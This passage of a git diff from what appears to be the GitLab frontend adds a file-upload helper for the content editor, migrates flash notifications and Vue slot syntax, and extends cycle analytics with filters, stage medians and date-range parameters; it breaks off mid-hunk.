+const extractAttachmentLinkUrl = (html) => {
+ const parser = new DOMParser();
+ const { body } = parser.parseFromString(html, 'text/html');
+ const link = body.querySelector('a');
+ const src = link.getAttribute('href');
+ const { canonicalSrc } = link.dataset;
+
+ return { src, canonicalSrc };
+};
+
+/**
+ * Uploads a file with a post request to the URL indicated
+ * in the uploadsPath parameter. The expected response of the
+ * uploads service is a JSON object that contains, at least, a
+ * link property. The link property should contain markdown link
+ * definition (i.e. [GitLab](https://gitlab.com)).
+ *
+ * This Markdown will be rendered to extract its canonical and full
+ * URLs using GitLab Flavored Markdown renderer in the backend.
+ *
+ * @param {Object} params
+ * @param {String} params.uploadsPath An absolute URL that points to a service
+ * that allows sending a file for uploading via POST request.
+ * @param {String} params.renderMarkdown A function that accepts a markdown string
+ * and returns a rendered version in HTML format.
+ * @param {File} params.file The file to upload
+ *
+ * @returns Returns an object with two properties:
+ *
+ * canonicalSrc: The URL as defined in the Markdown
+ * src: The absolute URL that points to the resource in the server
+ */
+export const uploadFile = async ({ uploadsPath, renderMarkdown, file }) => {
+ const formData = new FormData();
+ formData.append('file', file, file.name);
+
+ const { data } = await axios.post(uploadsPath, formData);
+ const { markdown } = data.link;
+ const rendered = await renderMarkdown(markdown);
+
+ return extractAttachmentLinkUrl(rendered);
+};
diff --git a/app/assets/javascripts/content_editor/services/utils.js b/app/assets/javascripts/content_editor/services/utils.js
index cf5234bbff8..2a2c7f617da 100644
--- a/app/assets/javascripts/content_editor/services/utils.js
+++ b/app/assets/javascripts/content_editor/services/utils.js
@@ -3,3 +3,17 @@ export const hasSelection = (tiptapEditor) => {
return from < to;
};
+
+export const getImageAlt = (src) => {
+ return src.replace(/^.*\/|\..*$/g, '').replace(/\W+/g, ' ');
+};
+
+export const readFileAsDataURL = (file) => {
+ return new Promise((resolve) => {
+ const reader = new FileReader();
+ reader.addEventListener('load', (e) => resolve(e.target.result), { once: true });
+ reader.readAsDataURL(file);
+ });
+};
+
+export const clamp = (n, min, max) => Math.max(Math.min(n, max), min);
diff --git a/app/assets/javascripts/contributors/components/contributors.vue b/app/assets/javascripts/contributors/components/contributors.vue
index 25ce6500094..512f060e2ea 100644
--- a/app/assets/javascripts/contributors/components/contributors.vue
+++ b/app/assets/javascripts/contributors/components/contributors.vue
@@ -204,15 +204,16 @@ export default {
<h4 class="gl-mb-2 gl-mt-5">{{ __('Commits to') }} {{ branch }}</h4>
<span>{{ __('Excluding merge commits. Limited to 6,000 commits.') }}</span>
<resizable-chart-container>
- <gl-area-chart
- slot-scope="{ width }"
- class="gl-mb-5"
- :width="width"
- :data="masterChartData"
- :option="masterChartOptions"
- :height="masterChartHeight"
- @created="onMasterChartCreated"
- />
+ <template #default="{ width }">
+ <gl-area-chart
+ class="gl-mb-5"
+ :width="width"
+ :data="masterChartData"
+ :option="masterChartOptions"
+ :height="masterChartHeight"
+ @created="onMasterChartCreated"
+ />
+ </template>
</resizable-chart-container>
<div class="row">
@@ -226,14 +227,15 @@ export default {
{{ n__('%d commit', '%d commits', contributor.commits) }} ({{ contributor.email }})
</p>
<resizable-chart-container>
- <gl-area-chart
- slot-scope="{ width }"
- :width="width"
- :data="contributor.dates"
- :option="individualChartOptions"
- :height="individualChartHeight"
- @created="onIndividualChartCreated"
- />
+ <template #default="{ width }">
+ <gl-area-chart
+ :width="width"
+ :data="contributor.dates"
+ :option="individualChartOptions"
+ :height="individualChartHeight"
+ @created="onIndividualChartCreated"
+ />
+ </template>
</resizable-chart-container>
</div>
</div>
diff --git a/app/assets/javascripts/contributors/stores/actions.js b/app/assets/javascripts/contributors/stores/actions.js
index 72aae3af692..4cc0a6a6509 100644
--- a/app/assets/javascripts/contributors/stores/actions.js
+++ b/app/assets/javascripts/contributors/stores/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import service from '../services/contributors_service';
import * as types from './mutation_types';
@@ -13,5 +13,9 @@ export const fetchChartData = ({ commit }, endpoint) => {
commit(types.SET_CHART_DATA, data);
commit(types.SET_LOADING_STATE, false);
})
- .catch(() => flash(__('An error occurred while loading chart data')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while loading chart data'),
+ }),
+ );
};
diff --git a/app/assets/javascripts/create_cluster/gke_cluster/components/gke_machine_type_dropdown.vue b/app/assets/javascripts/create_cluster/gke_cluster/components/gke_machine_type_dropdown.vue
index 6b18455bfcc..23c477bfbfd 100644
--- a/app/assets/javascripts/create_cluster/gke_cluster/components/gke_machine_type_dropdown.vue
+++ b/app/assets/javascripts/create_cluster/gke_cluster/components/gke_machine_type_dropdown.vue
@@ -95,7 +95,7 @@ export default {
</li>
</ul>
</div>
- <div class="dropdown-loading"><gl-loading-icon /></div>
+ <div class="dropdown-loading"><gl-loading-icon size="sm" /></div>
</div>
</div>
<span
diff --git a/app/assets/javascripts/create_cluster/gke_cluster/components/gke_project_id_dropdown.vue b/app/assets/javascripts/create_cluster/gke_cluster/components/gke_project_id_dropdown.vue
index b6f0bdbf01d..aba6dd4b493 100644
--- a/app/assets/javascripts/create_cluster/gke_cluster/components/gke_project_id_dropdown.vue
+++ b/app/assets/javascripts/create_cluster/gke_cluster/components/gke_project_id_dropdown.vue
@@ -160,7 +160,7 @@ export default {
</li>
</ul>
</div>
- <div class="dropdown-loading"><gl-loading-icon /></div>
+ <div class="dropdown-loading"><gl-loading-icon size="sm" /></div>
</div>
</div>
<span
diff --git a/app/assets/javascripts/create_cluster/gke_cluster/components/gke_zone_dropdown.vue b/app/assets/javascripts/create_cluster/gke_cluster/components/gke_zone_dropdown.vue
index daab42c7e60..027ce74753e 100644
--- a/app/assets/javascripts/create_cluster/gke_cluster/components/gke_zone_dropdown.vue
+++ b/app/assets/javascripts/create_cluster/gke_cluster/components/gke_zone_dropdown.vue
@@ -84,7 +84,7 @@ export default {
</li>
</ul>
</div>
- <div class="dropdown-loading"><gl-loading-icon /></div>
+ <div class="dropdown-loading"><gl-loading-icon size="sm" /></div>
</div>
</div>
<span
diff --git a/app/assets/javascripts/create_cluster/gke_cluster/index.js b/app/assets/javascripts/create_cluster/gke_cluster/index.js
index 4eafbdb7265..3a42b460e1c 100644
--- a/app/assets/javascripts/create_cluster/gke_cluster/index.js
+++ b/app/assets/javascripts/create_cluster/gke_cluster/index.js
@@ -1,5 +1,5 @@
import Vue from 'vue';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import GkeMachineTypeDropdown from './components/gke_machine_type_dropdown.vue';
import GkeProjectIdDropdown from './components/gke_project_id_dropdown.vue';
import GkeSubmitButton from './components/gke_submit_button.vue';
@@ -59,7 +59,9 @@ const mountGkeSubmitButton = () => {
};
const gkeDropdownErrorHandler = () => {
- Flash(CONSTANTS.GCP_API_ERROR);
+ createFlash({
+ message: CONSTANTS.GCP_API_ERROR,
+ });
};
const initializeGapiClient = (gapi) => () => {
diff --git a/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue b/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue
index 0aae63e1648..411e482b0ce 100644
--- a/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue
+++ b/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue
@@ -218,7 +218,7 @@ export default {
@input="debouncedValidateQuery"
/>
<span v-if="queryValidateInFlight" class="form-text text-muted">
- <gl-loading-icon :inline="true" class="mr-1 align-middle" />
+ <gl-loading-icon size="sm" :inline="true" class="mr-1 align-middle" />
{{ s__('Metrics|Validating query') }}
</span>
<slot v-if="!queryValidateInFlight" name="valid-feedback">
diff --git a/app/assets/javascripts/cycle_analytics/components/filter_bar.vue b/app/assets/javascripts/cycle_analytics/components/filter_bar.vue
new file mode 100644
index 00000000000..5140b05e189
--- /dev/null
+++ b/app/assets/javascripts/cycle_analytics/components/filter_bar.vue
@@ -0,0 +1,142 @@
+<script>
+import { mapActions, mapState } from 'vuex';
+import { __ } from '~/locale';
+import {
+ OPERATOR_IS_ONLY,
+ DEFAULT_NONE_ANY,
+} from '~/vue_shared/components/filtered_search_bar/constants';
+import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+import {
+ prepareTokens,
+ processFilters,
+ filterToQueryObject,
+} from '~/vue_shared/components/filtered_search_bar/filtered_search_utils';
+import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
+import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label_token.vue';
+import MilestoneToken from '~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue';
+import UrlSync from '~/vue_shared/components/url_sync.vue';
+
+export default {
+ name: 'FilterBar',
+ components: {
+ FilteredSearchBar,
+ UrlSync,
+ },
+ props: {
+ groupPath: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ ...mapState('filters', {
+ selectedMilestone: (state) => state.milestones.selected,
+ selectedAuthor: (state) => state.authors.selected,
+ selectedLabelList: (state) => state.labels.selectedList,
+ selectedAssigneeList: (state) => state.assignees.selectedList,
+ milestonesData: (state) => state.milestones.data,
+ labelsData: (state) => state.labels.data,
+ authorsData: (state) => state.authors.data,
+ assigneesData: (state) => state.assignees.data,
+ }),
+ tokens() {
+ return [
+ {
+ icon: 'clock',
+ title: __('Milestone'),
+ type: 'milestone',
+ token: MilestoneToken,
+ initialMilestones: this.milestonesData,
+ unique: true,
+ symbol: '%',
+ operators: OPERATOR_IS_ONLY,
+ fetchMilestones: this.fetchMilestones,
+ },
+ {
+ icon: 'labels',
+ title: __('Label'),
+ type: 'labels',
+ token: LabelToken,
+ defaultLabels: DEFAULT_NONE_ANY,
+ initialLabels: this.labelsData,
+ unique: false,
+ symbol: '~',
+ operators: OPERATOR_IS_ONLY,
+ fetchLabels: this.fetchLabels,
+ },
+ {
+ icon: 'pencil',
+ title: __('Author'),
+ type: 'author',
+ token: AuthorToken,
+ initialAuthors: this.authorsData,
+ unique: true,
+ operators: OPERATOR_IS_ONLY,
+ fetchAuthors: this.fetchAuthors,
+ },
+ {
+ icon: 'user',
+ title: __('Assignees'),
+ type: 'assignees',
+ token: AuthorToken,
+ defaultAuthors: [],
+ initialAuthors: this.assigneesData,
+ unique: false,
+ operators: OPERATOR_IS_ONLY,
+ fetchAuthors: this.fetchAssignees,
+ },
+ ];
+ },
+ query() {
+ return filterToQueryObject({
+ milestone_title: this.selectedMilestone,
+ author_username: this.selectedAuthor,
+ label_name: this.selectedLabelList,
+ assignee_username: this.selectedAssigneeList,
+ });
+ },
+ },
+ methods: {
+ ...mapActions('filters', [
+ 'setFilters',
+ 'fetchMilestones',
+ 'fetchLabels',
+ 'fetchAuthors',
+ 'fetchAssignees',
+ ]),
+ initialFilterValue() {
+ return prepareTokens({
+ milestone: this.selectedMilestone,
+ author: this.selectedAuthor,
+ assignees: this.selectedAssigneeList,
+ labels: this.selectedLabelList,
+ });
+ },
+ handleFilter(filters) {
+ const { labels, milestone, author, assignees } = processFilters(filters);
+
+ this.setFilters({
+ selectedAuthor: author ? author[0] : null,
+ selectedMilestone: milestone ? milestone[0] : null,
+ selectedAssigneeList: assignees || [],
+ selectedLabelList: labels || [],
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <filtered-search-bar
+ class="gl-flex-grow-1"
+ :namespace="groupPath"
+ recent-searches-storage-key="value-stream-analytics"
+ :search-input-placeholder="__('Filter results')"
+ :tokens="tokens"
+ :initial-filter-value="initialFilterValue()"
+ @onFilter="handleFilter"
+ />
+ <url-sync :query="query" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/cycle_analytics/components/formatted_stage_count.vue b/app/assets/javascripts/cycle_analytics/components/formatted_stage_count.vue
new file mode 100644
index 00000000000..b622b0441e2
--- /dev/null
+++ b/app/assets/javascripts/cycle_analytics/components/formatted_stage_count.vue
@@ -0,0 +1,32 @@
+<script>
+import { s__, n__, sprintf, formatNumber } from '~/locale';
+
+export default {
+ props: {
+ stageCount: {
+ type: Number,
+ required: false,
+ default: null,
+ },
+ },
+ computed: {
+ formattedStageCount() {
+ if (!this.stageCount) {
+ return '-';
+ } else if (this.stageCount > 1000) {
+ return sprintf(s__('ValueStreamAnalytics|%{stageCount}+ items'), {
+ stageCount: formatNumber(1000),
+ });
+ }
+
+ return sprintf(n__('%{count} item', '%{count} items', this.stageCount), {
+ count: formatNumber(this.stageCount),
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <span>{{ formattedStageCount }}</span>
+</template>
diff --git a/app/assets/javascripts/cycle_analytics/components/path_navigation.vue b/app/assets/javascripts/cycle_analytics/components/path_navigation.vue
index c1e33f73b13..47fafc3b90c 100644
--- a/app/assets/javascripts/cycle_analytics/components/path_navigation.vue
+++ b/app/assets/javascripts/cycle_analytics/components/path_navigation.vue
@@ -7,6 +7,7 @@ import {
} from '@gitlab/ui';
import Tracking from '~/tracking';
import { OVERVIEW_STAGE_ID } from '../constants';
+import FormattedStageCount from './formatted_stage_count.vue';
export default {
name: 'PathNavigation',
@@ -14,6 +15,7 @@ export default {
GlPath,
GlSkeletonLoading,
GlPopover,
+ FormattedStageCount,
},
directives: {
SafeHtml,
@@ -44,9 +46,6 @@ export default {
showPopover({ id }) {
return id && id !== OVERVIEW_STAGE_ID;
},
- hasStageCount({ stageCount = null }) {
- return stageCount !== null;
- },
onSelectStage($event) {
this.$emit('selected', $event);
this.track('click_path_navigation', {
@@ -88,10 +87,7 @@ export default {
{{ s__('ValueStreamEvent|Items in stage') }}
</div>
<div class="gl-pb-4 gl-font-weight-bold">
- <template v-if="hasStageCount(pathItem)">{{
- n__('%d item', '%d items', pathItem.stageCount)
- }}</template>
- <template v-else>-</template>
+ <formatted-stage-count :stage-count="pathItem.stageCount" />
</div>
</div>
</div>
diff --git a/app/assets/javascripts/cycle_analytics/components/value_stream_filters.vue b/app/assets/javascripts/cycle_analytics/components/value_stream_filters.vue
new file mode 100644
index 00000000000..6b1e537dc77
--- /dev/null
+++ b/app/assets/javascripts/cycle_analytics/components/value_stream_filters.vue
@@ -0,0 +1,93 @@
+<script>
+import DateRange from '~/analytics/shared/components/daterange.vue';
+import ProjectsDropdownFilter from '~/analytics/shared/components/projects_dropdown_filter.vue';
+import { DATE_RANGE_LIMIT, PROJECTS_PER_PAGE } from '~/analytics/shared/constants';
+import FilterBar from './filter_bar.vue';
+
+export default {
+ name: 'ValueStreamFilters',
+ components: {
+ DateRange,
+ ProjectsDropdownFilter,
+ FilterBar,
+ },
+ props: {
+ selectedProjects: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ hasProjectFilter: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ hasDateRangeFilter: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ groupId: {
+ type: Number,
+ required: true,
+ },
+ groupPath: {
+ type: String,
+ required: true,
+ },
+ startDate: {
+ type: Date,
+ required: false,
+ default: null,
+ },
+ endDate: {
+ type: Date,
+ required: false,
+ default: null,
+ },
+ },
+ computed: {
+ projectsQueryParams() {
+ return {
+ first: PROJECTS_PER_PAGE,
+ includeSubgroups: true,
+ };
+ },
+ },
+ multiProjectSelect: true,
+ maxDateRange: DATE_RANGE_LIMIT,
+};
+</script>
+<template>
+ <div class="gl-mt-3 gl-py-2 gl-px-3 bg-gray-light border-top border-bottom">
+ <filter-bar
+ class="js-filter-bar filtered-search-box gl-display-flex gl-mb-2 gl-mr-3 gl-border-none"
+ :group-path="groupPath"
+ />
+ <div
+ v-if="hasDateRangeFilter || hasProjectFilter"
+ class="gl-display-flex gl-flex-direction-column gl-lg-flex-direction-row gl-justify-content-space-between"
+ >
+ <projects-dropdown-filter
+ v-if="hasProjectFilter"
+ :key="groupId"
+ class="js-projects-dropdown-filter project-select gl-mb-2 gl-lg-mb-0"
+ :group-id="groupId"
+ :group-namespace="groupPath"
+ :query-params="projectsQueryParams"
+ :multi-select="$options.multiProjectSelect"
+ :default-projects="selectedProjects"
+ @selected="$emit('selectProject', $event)"
+ />
+ <date-range
+ v-if="hasDateRangeFilter"
+ :start-date="startDate"
+ :end-date="endDate"
+ :max-date-range="$options.maxDateRange"
+ :include-selected-date="true"
+ class="js-daterange-picker"
+ @change="$emit('setDateRange', $event)"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/cycle_analytics/constants.js b/app/assets/javascripts/cycle_analytics/constants.js
index 96c89049e90..97f502326e5 100644
--- a/app/assets/javascripts/cycle_analytics/constants.js
+++ b/app/assets/javascripts/cycle_analytics/constants.js
@@ -1,3 +1,4 @@
+export const DEFAULT_DAYS_IN_PAST = 30;
export const DEFAULT_DAYS_TO_DISPLAY = 30;
export const OVERVIEW_STAGE_ID = 'overview';
diff --git a/app/assets/javascripts/cycle_analytics/index.js b/app/assets/javascripts/cycle_analytics/index.js
index 57cb220d9c9..615f96c3860 100644
--- a/app/assets/javascripts/cycle_analytics/index.js
+++ b/app/assets/javascripts/cycle_analytics/index.js
@@ -8,11 +8,24 @@ Vue.use(Translate);
export default () => {
const store = createStore();
const el = document.querySelector('#js-cycle-analytics');
- const { noAccessSvgPath, noDataSvgPath, requestPath, fullPath } = el.dataset;
+ const {
+ noAccessSvgPath,
+ noDataSvgPath,
+ requestPath,
+ fullPath,
+ projectId,
+ groupPath,
+ } = el.dataset;
store.dispatch('initializeVsa', {
+ projectId: parseInt(projectId, 10),
+ groupPath,
requestPath,
fullPath,
+ features: {
+ cycleAnalyticsForGroups:
+ (groupPath && gon?.licensed_features?.cycleAnalyticsForGroups) || false,
+ },
});
// eslint-disable-next-line no-new
diff --git a/app/assets/javascripts/cycle_analytics/store/actions.js b/app/assets/javascripts/cycle_analytics/store/actions.js
index faf1c37d86a..955f0c7271e 100644
--- a/app/assets/javascripts/cycle_analytics/store/actions.js
+++ b/app/assets/javascripts/cycle_analytics/store/actions.js
@@ -3,6 +3,7 @@ import {
getProjectValueStreams,
getProjectValueStreamStageData,
getProjectValueStreamMetrics,
+ getValueStreamStageMedian,
} from '~/api/analytics_api';
import createFlash from '~/flash';
import { __ } from '~/locale';
@@ -35,21 +36,33 @@ export const receiveValueStreamsSuccess = ({ commit, dispatch }, data = []) => {
};
export const fetchValueStreams = ({ commit, dispatch, state }) => {
- const { fullPath } = state;
+ const {
+ fullPath,
+ features: { cycleAnalyticsForGroups },
+ } = state;
commit(types.REQUEST_VALUE_STREAMS);
+ const stageRequests = ['setSelectedStage'];
+ if (cycleAnalyticsForGroups) {
+ stageRequests.push('fetchStageMedians');
+ }
+
return getProjectValueStreams(fullPath)
.then(({ data }) => dispatch('receiveValueStreamsSuccess', data))
- .then(() => dispatch('setSelectedStage'))
+ .then(() => Promise.all(stageRequests.map((r) => dispatch(r))))
.catch(({ response: { status } }) => {
commit(types.RECEIVE_VALUE_STREAMS_ERROR, status);
});
};
-export const fetchCycleAnalyticsData = ({ state: { requestPath, startDate }, commit }) => {
+export const fetchCycleAnalyticsData = ({
+ state: { requestPath },
+ getters: { legacyFilterParams },
+ commit,
+}) => {
commit(types.REQUEST_CYCLE_ANALYTICS_DATA);
- return getProjectValueStreamMetrics(requestPath, { 'cycle_analytics[start_date]': startDate })
+ return getProjectValueStreamMetrics(requestPath, legacyFilterParams)
.then(({ data }) => commit(types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS, data))
.catch(() => {
commit(types.RECEIVE_CYCLE_ANALYTICS_DATA_ERROR);
@@ -59,13 +72,17 @@ export const fetchCycleAnalyticsData = ({ state: { requestPath, startDate }, com
});
};
-export const fetchStageData = ({ state: { requestPath, selectedStage, startDate }, commit }) => {
+export const fetchStageData = ({
+ state: { requestPath, selectedStage },
+ getters: { legacyFilterParams },
+ commit,
+}) => {
commit(types.REQUEST_STAGE_DATA);
return getProjectValueStreamStageData({
requestPath,
stageId: selectedStage.id,
- params: { 'cycle_analytics[start_date]': startDate },
+ params: legacyFilterParams,
})
.then(({ data }) => {
// when there's a query timeout, the request succeeds but the error is encoded in the response data
@@ -78,6 +95,37 @@ export const fetchStageData = ({ state: { requestPath, selectedStage, startDate
.catch(() => commit(types.RECEIVE_STAGE_DATA_ERROR));
};
+const getStageMedians = ({ stageId, vsaParams, filterParams = {} }) => {
+ return getValueStreamStageMedian({ ...vsaParams, stageId }, filterParams).then(({ data }) => ({
+ id: stageId,
+ value: data?.value || null,
+ }));
+};
+
+export const fetchStageMedians = ({
+ state: { stages },
+ getters: { requestParams: vsaParams, filterParams },
+ commit,
+}) => {
+ commit(types.REQUEST_STAGE_MEDIANS);
+ return Promise.all(
+ stages.map(({ id: stageId }) =>
+ getStageMedians({
+ vsaParams,
+ stageId,
+ filterParams,
+ }),
+ ),
+ )
+ .then((data) => commit(types.RECEIVE_STAGE_MEDIANS_SUCCESS, data))
+ .catch((error) => {
+ commit(types.RECEIVE_STAGE_MEDIANS_ERROR, error);
+ createFlash({
+ message: __('There was an error fetching median data for stages'),
+ });
+ });
+};
+
export const setSelectedStage = ({ dispatch, commit, state: { stages } }, selectedStage = null) => {
const stage = selectedStage || stages[0];
commit(types.SET_SELECTED_STAGE, stage);
@@ -92,6 +140,8 @@ const refetchData = (dispatch, commit) => {
.finally(() => commit(types.SET_LOADING, false));
};
+export const setFilters = ({ dispatch, commit }) => refetchData(dispatch, commit);
+
export const setDateRange = ({ dispatch, commit }, { startDate = DEFAULT_DAYS_TO_DISPLAY }) => {
commit(types.SET_DATE_RANGE, { startDate });
return refetchData(dispatch, commit);
diff --git a/app/assets/javascripts/cycle_analytics/store/getters.js b/app/assets/javascripts/cycle_analytics/store/getters.js
index c60a70ef147..66971ea8a2e 100644
--- a/app/assets/javascripts/cycle_analytics/store/getters.js
+++ b/app/assets/javascripts/cycle_analytics/store/getters.js
@@ -1,3 +1,5 @@
+import dateFormat from 'dateformat';
+import { dateFormats } from '~/analytics/shared/constants';
import { transformStagesForPathNavigation, filterStagesByHiddenStatus } from '../utils';
export const pathNavigationData = ({ stages, medians, stageCounts, selectedStage }) => {
@@ -8,3 +10,30 @@ export const pathNavigationData = ({ stages, medians, stageCounts, selectedStage
selectedStage,
});
};
+
+export const requestParams = (state) => {
+ const {
+ selectedStage: { id: stageId = null },
+ groupPath: groupId,
+ selectedValueStream: { id: valueStreamId },
+ } = state;
+ return { valueStreamId, groupId, stageId };
+};
+
+const dateRangeParams = ({ createdAfter, createdBefore }) => ({
+ created_after: createdAfter ? dateFormat(createdAfter, dateFormats.isoDate) : null,
+ created_before: createdBefore ? dateFormat(createdBefore, dateFormats.isoDate) : null,
+});
+
+export const legacyFilterParams = ({ startDate }) => {
+ return {
+ 'cycle_analytics[start_date]': startDate,
+ };
+};
+
+export const filterParams = ({ id, ...rest }) => {
+ return {
+ project_ids: [id],
+ ...dateRangeParams(rest),
+ };
+};
diff --git a/app/assets/javascripts/cycle_analytics/store/index.js b/app/assets/javascripts/cycle_analytics/store/index.js
index c6ca88ea492..76e3e835016 100644
--- a/app/assets/javascripts/cycle_analytics/store/index.js
+++ b/app/assets/javascripts/cycle_analytics/store/index.js
@@ -7,6 +7,7 @@
import Vue from 'vue';
import Vuex from 'vuex';
+import filters from '~/vue_shared/components/filtered_search_bar/store/modules/filters';
import * as actions from './actions';
import * as getters from './getters';
import mutations from './mutations';
@@ -20,4 +21,5 @@ export default () =>
getters,
mutations,
state,
+ modules: { filters },
});
diff --git a/app/assets/javascripts/cycle_analytics/store/mutation_types.js b/app/assets/javascripts/cycle_analytics/store/mutation_types.js
index 4f3d430ec9f..11ed62a4081 100644
--- a/app/assets/javascripts/cycle_analytics/store/mutation_types.js
+++ b/app/assets/javascripts/cycle_analytics/store/mutation_types.js
@@ -20,3 +20,7 @@ export const RECEIVE_CYCLE_ANALYTICS_DATA_ERROR = 'RECEIVE_CYCLE_ANALYTICS_DATA_
export const REQUEST_STAGE_DATA = 'REQUEST_STAGE_DATA';
export const RECEIVE_STAGE_DATA_SUCCESS = 'RECEIVE_STAGE_DATA_SUCCESS';
export const RECEIVE_STAGE_DATA_ERROR = 'RECEIVE_STAGE_DATA_ERROR';
+
+export const REQUEST_STAGE_MEDIANS = 'REQUEST_STAGE_MEDIANS';
+export const RECEIVE_STAGE_MEDIANS_SUCCESS = 'RECEIVE_STAGE_MEDIANS_SUCCESS';
+export const RECEIVE_STAGE_MEDIANS_ERROR = 'RECEIVE_STAGE_MEDIANS_ERROR';
diff --git a/app/assets/javascripts/cycle_analytics/store/mutations.js b/app/assets/javascripts/cycle_analytics/store/mutations.js
index 0ae80116cd2..a8b7a607b66 100644
--- a/app/assets/javascripts/cycle_analytics/store/mutations.js
+++ b/app/assets/javascripts/cycle_analytics/store/mutations.js
@@ -1,11 +1,23 @@
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
-import { decorateData, decorateEvents, formatMedianValues } from '../utils';
+import { DEFAULT_DAYS_TO_DISPLAY } from '../constants';
+import {
+ decorateData,
+ decorateEvents,
+ formatMedianValues,
+ calculateFormattedDayInPast,
+} from '../utils';
import * as types from './mutation_types';
export default {
- [types.INITIALIZE_VSA](state, { requestPath, fullPath }) {
+ [types.INITIALIZE_VSA](state, { requestPath, fullPath, groupPath, projectId, features }) {
state.requestPath = requestPath;
state.fullPath = fullPath;
+ state.groupPath = groupPath;
+ state.id = projectId;
+ const { now, past } = calculateFormattedDayInPast(DEFAULT_DAYS_TO_DISPLAY);
+ state.createdBefore = now;
+ state.createdAfter = past;
+ state.features = features;
},
[types.SET_LOADING](state, loadingState) {
state.isLoading = loadingState;
@@ -18,6 +30,9 @@ export default {
},
[types.SET_DATE_RANGE](state, { startDate }) {
state.startDate = startDate;
+ const { now, past } = calculateFormattedDayInPast(startDate);
+ state.createdBefore = now;
+ state.createdAfter = past;
},
[types.REQUEST_VALUE_STREAMS](state) {
state.valueStreams = [];
@@ -46,17 +61,25 @@ export default {
[types.REQUEST_CYCLE_ANALYTICS_DATA](state) {
state.isLoading = true;
state.hasError = false;
+ if (!state.features.cycleAnalyticsForGroups) {
+ state.medians = {};
+ }
},
[types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS](state, data) {
const { summary, medians } = decorateData(data);
+ if (!state.features.cycleAnalyticsForGroups) {
+ state.medians = formatMedianValues(medians);
+ }
state.permissions = data.permissions;
state.summary = summary;
- state.medians = formatMedianValues(medians);
state.hasError = false;
},
[types.RECEIVE_CYCLE_ANALYTICS_DATA_ERROR](state) {
state.isLoading = false;
state.hasError = true;
+ if (!state.features.cycleAnalyticsForGroups) {
+ state.medians = {};
+ }
},
[types.REQUEST_STAGE_DATA](state) {
state.isLoadingStage = true;
@@ -78,4 +101,13 @@ export default {
state.hasError = true;
state.selectedStageError = error;
},
+ [types.REQUEST_STAGE_MEDIANS](state) {
+ state.medians = {};
+ },
+ [types.RECEIVE_STAGE_MEDIANS_SUCCESS](state, medians) {
+ state.medians = formatMedianValues(medians);
+ },
+ [types.RECEIVE_STAGE_MEDIANS_ERROR](state) {
+ state.medians = {};
+ },
};
diff --git a/app/assets/javascripts/cycle_analytics/store/state.js b/app/assets/javascripts/cycle_analytics/store/state.js
index 02f953d9517..4d61077fb99 100644
--- a/app/assets/javascripts/cycle_analytics/store/state.js
+++ b/app/assets/javascripts/cycle_analytics/store/state.js
@@ -1,9 +1,13 @@
import { DEFAULT_DAYS_TO_DISPLAY } from '../constants';
export default () => ({
+ features: {},
+ id: null,
requestPath: '',
fullPath: '',
startDate: DEFAULT_DAYS_TO_DISPLAY,
+ createdAfter: null,
+ createdBefore: null,
stages: [],
summary: [],
analytics: [],
@@ -19,4 +23,5 @@ export default () => ({
isLoadingStage: false,
isEmptyStage: false,
permissions: {},
+ parentPath: null,
});
diff --git a/app/assets/javascripts/cycle_analytics/utils.js b/app/assets/javascripts/cycle_analytics/utils.js
index 40ad7d8b2fc..a1690dd1513 100644
--- a/app/assets/javascripts/cycle_analytics/utils.js
+++ b/app/assets/javascripts/cycle_analytics/utils.js
@@ -1,6 +1,9 @@
+import dateFormat from 'dateformat';
import { unescape } from 'lodash';
+import { dateFormats } from '~/analytics/shared/constants';
import { sanitize } from '~/lib/dompurify';
import { roundToNearestHalf, convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { getDateInPast } from '~/lib/utils/datetime/date_calculation_utility';
import { parseSeconds } from '~/lib/utils/datetime_utility';
import { s__, sprintf } from '../locale';
import DEFAULT_EVENT_OBJECTS from './default_event_objects';
@@ -115,3 +118,20 @@ export const formatMedianValues = (medians = []) =>
export const filterStagesByHiddenStatus = (stages = [], isHidden = true) =>
stages.filter(({ hidden = false }) => hidden === isHidden);
+
+const toIsoFormat = (d) => dateFormat(d, dateFormats.isoDate);
+
+/**
+ * Takes an integer specifying the number of days to subtract
+ * from the date specified will return the 2 dates, formatted as ISO dates
+ *
+ * @param {Number} daysInPast - Number of days in the past to subtract
+ * @param {Date} [today=new Date] - Date to subtract days from, defaults to today
+ * @returns {Object} Returns 'now' and the 'past' date formatted as ISO dates
+ */
+export const calculateFormattedDayInPast = (daysInPast, today = new Date()) => {
+ return {
+ now: toIsoFormat(today),
+ past: toIsoFormat(getDateInPast(today, daysInPast)),
+ };
+};
diff --git a/app/assets/javascripts/deploy_keys/components/app.vue b/app/assets/javascripts/deploy_keys/components/app.vue
index 02c57164f47..36d54f586f1 100644
--- a/app/assets/javascripts/deploy_keys/components/app.vue
+++ b/app/assets/javascripts/deploy_keys/components/app.vue
@@ -1,6 +1,6 @@
<script>
import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { s__ } from '~/locale';
import NavigationTabs from '~/vue_shared/components/navigation_tabs.vue';
import eventHub from '../eventhub';
@@ -93,14 +93,20 @@ export default {
